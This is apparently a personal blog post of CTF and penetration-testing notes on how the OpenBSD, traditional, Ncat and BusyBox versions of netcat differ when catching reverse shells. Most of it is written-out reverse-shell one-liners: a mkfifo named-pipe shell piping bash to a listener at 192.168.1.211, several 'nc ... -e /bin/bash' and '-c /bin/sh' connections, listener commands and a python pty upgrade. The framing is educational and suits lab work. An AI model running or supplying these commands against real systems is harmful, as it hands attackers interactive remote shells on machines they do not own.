which $(nc) && when?
Admittedly it’s been a while since I’ve sat down and done a proper CTF.
Recently I was trying to get a proof of concept working and I came to the realization that the slight variations of netcat basics were throwing me off during a somewhat time sensitive situation. As such, here is some notes I put together of some footguns to be aware of in the future so I can not waste my valuable brain juice re-remembering this.
TLDR; Avoid shooting yourself in the foot. Run this
oneliner to check for the version of netcat running a different versions
are often aliased to the same nc
command.
# Run this to check if netcat is traditional or openBSD netcat
VERSION=$(netcat -h 2>&1); if echo "$VERSION" | grep -q "Ncat"; then echo "Ncat (Nmap)"; elif echo "$VERSION" | grep -q "connect to somewhere"; then echo "Traditional"; elif echo "$VERSION" | grep -q "OpenBSD"; then echo "OpenBSD"; elif echo "$VERSION" | grep -q "BusyBox"; then echo "BusyBox"; else echo "Unknown"; fi
Netcat
When someone says “netcat” (or runs nc
) they’re
probably talking about the OpenBSD version. This comes
installed on many Linux distros by default.
OpenBSD Netcat
The openBSD version of netcat removes some of the original functionality of netcat. Installed by default on many versions of Linux
The manual is explicit about this
Listen for a connection:
# Listen on port 1337
nc -nvlp 1337
For “security”, the OpenBSD version of netcat does NOT support the
-e
option. To work around this, we can create a named pipe
that will allow the processes to communicate
A named pipe behaves similar to a file in that it is accessible as a file-system entry, but is treated as a pipe (
|
) in that it streams data between processes.
To accomplish this:
- Remove
/tmp/shell
(If we’ve done this multiple times) - Create a named pipe,
/tmp/shell
on our local machine. - Read data from
/tmp/shell
- Anything in
/tmp/shell
is executed by bash - Any output is sent back through netcat
rm /tmp/shell ; mkfifo /tmp/shell && cat /tmp/shell | /bin/bash -i 2>&1 | nc 192.168.1.211 1337 > /tmp/shell
Traditional netcat
Traditional netcat is more straightforward to get a reverse shell
from due to the inclusion of the -e
and -c
options which allow for executing shell commands.
Listen for a connection:
netcat -nvlp 1337
# -e to exec /bin/bash
netcat 192.168.1.211 1337 -e /bin/bash
# -c to exec /bin/sh
netcat -c /bin/sh 192.168.1.211 1337
Ncat
TLDR; Rewrite of netcat, more robust, probably less common to encounter installed on target systems.
Listen for a connection
# Listen on port 1337
ncat -nvlp 1337
# Connect to port 1337
ncat 192.168.1.3 1337 -e /bin/bash
You must provide the full path when using the
-e
option. nc 192.168.1.3 1337 -e bash
will NOT work. I recently shot myself in the foot with this. You will receive a connection in your listener but it will instantly close as bash
is not in the execution path. To fix, use the absolute path /bin/bash
.
Busybox nc
The busybox software package that contains multiple common utilities condensed into a single binary, you’ll sometimes run into this if working in weird embedded systems, containers, etc.
Listen for a connection
busybox nc -lp 1337
Make a connection:
busybox nc 10.221.32.152 1337 -e /bin/sh
In busybox netcat, you may not receive any indication of a successful connection. Just be aware of this.
Upgrading the shell
Sometimes it’s helpful to have a better shell. There are multiple ways to do so, but a simple one is using python (if available).
python3 -c 'import pty; pty.spawn("/bin/bash")'
References
- Further reading: https://blog.ikuamike.io/posts/2021/netcat/
- Good reference: https://www.revshells.com/